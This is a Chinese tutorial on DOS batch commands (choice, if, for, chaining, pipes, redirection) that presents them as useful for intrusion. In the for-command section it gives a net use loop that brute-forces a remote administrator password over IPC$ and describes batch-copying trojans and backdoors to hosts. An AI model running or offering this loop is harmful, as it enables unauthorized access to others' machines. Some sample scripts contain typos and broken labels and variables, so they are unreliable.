计算机DOS下,批处理命令详解,电脑维护、入侵需要这些知识,学会这些批处理命令,你就可以编写一些实用的批处理程序。
【开始】—【所有程序】—【附件】—【命令提示符】
choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1、2、3、4......
choice /? 得到该命令的帮助信息
比如: choice /c wqe /m "启动微信请按w,启动QQ请按q,退出请按e "
将显示
启动微信请按w,启动QQ请按q,退出请按e[W,Q,E] ?
例子:
choice.bat的内容如下:
@echo off
choice /c wqe /m "启动微信请按w,启动QQ请按q,退出请按e "
if errorlevel 3 goto weixin (应先判断数值最高的错误码)
if errorlevel 2 goto qq
if errotlevel 1 goto end
:weixin
"D:\Program Files (x86)\WeChat\WeChat.exe" (微信的安装目录,以下QQ类似)
goto end
"D:\Program Files (x86)\Ten\Bin\QQScLauncher.exe"
goto end
:end
echo good bye
有点类似C语言调用函数一样,在测试的时候,请把括号的解释去掉。
If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。
if /? 得到该命令的帮助信息。
有三种格式:
第一种:
if "参数" == "字符串" 待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="c" dir c:\
if {%1}=={} goto end
if {%2}=={} goto end
第二种:
if exist 文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
比如:
if exist win.ini
(edit win.ini )
else
(echo win.ini.missing)
解释说明:如果存在win.ini,则编辑该文件,如果不存在,则报文件缺失(win.ini.missing)。
第三种:
if errorlevel / if not errorlevel 数字 待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto weixin
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用for命令时,指定变量请使用 %%variable
for /? 得到该命令的帮助信息。
例子一:
FOR /F "eol=; tokens=2,3* delims=, " %i in (test.txt) do command
分析 test.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。
最后,您可以用 FOR /F 命令来分析命令的输出。
例子二:
For命令来实现对一台目标Win-me主机的连接(弱口令的情况下,容易成功,不通过工具的话,这个要看一定的运气。)
用以下的代码尝试和目标主机进行连接,当成功时记下密码:
net use \\ip\ipc$ "password" /u:"administrator"
然后,用i%来表示administrator的密码,在test.txt中这个取i%的值用net use 命令来连接
for /f i% in (test.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
把运行结果传递给find命令:
for /f i%% in (test.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"│find ":命令成功完成">>C:\success.txt
例子三:
@for /f "tokens=1,2,3 delims= " %%i in (test.txt) do start call test.bat %%i %%j %%k
test.txt中的内容传递给test.bat中的参数%i %j %k。
test.bat就是用net use命令来建立IPC$连接,并copy木马+后门到test,然后用返回码(If errorlever =)来筛选成功种植后门的主机,echo出来或者echo到指定的文本文件。
组合命令
第一种:&
用法:第一条命令 & 第二条命令 [& 第三条命令...]
可以同时执行多条命令,而不管命令是否执行成功
第二种:&&
用法:第一条命令 && 第二条命令 [&& 第三条命令...]
可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令。
第三种:||
用法:第一条命令 ││ 第二条命令 [││ 第三条命令...]
同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令。
管道命令
第一种:|
用法:第一条命令 │ 第二条命令 [│ 第三条命令...]
第一条命令的结果作为第二条命令的参数来使用
第二种:>、>>输出重定向命令
区别:
>会清除调原有文件中的内容后写入指定文件;
>>只会追加内容到指定文件中,而不会改动其中的内容。
第三种:< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这里只是说明命令怎么用,让大家先熟悉熟悉命令,以后的教程会慢慢通过一些实例来使用命令。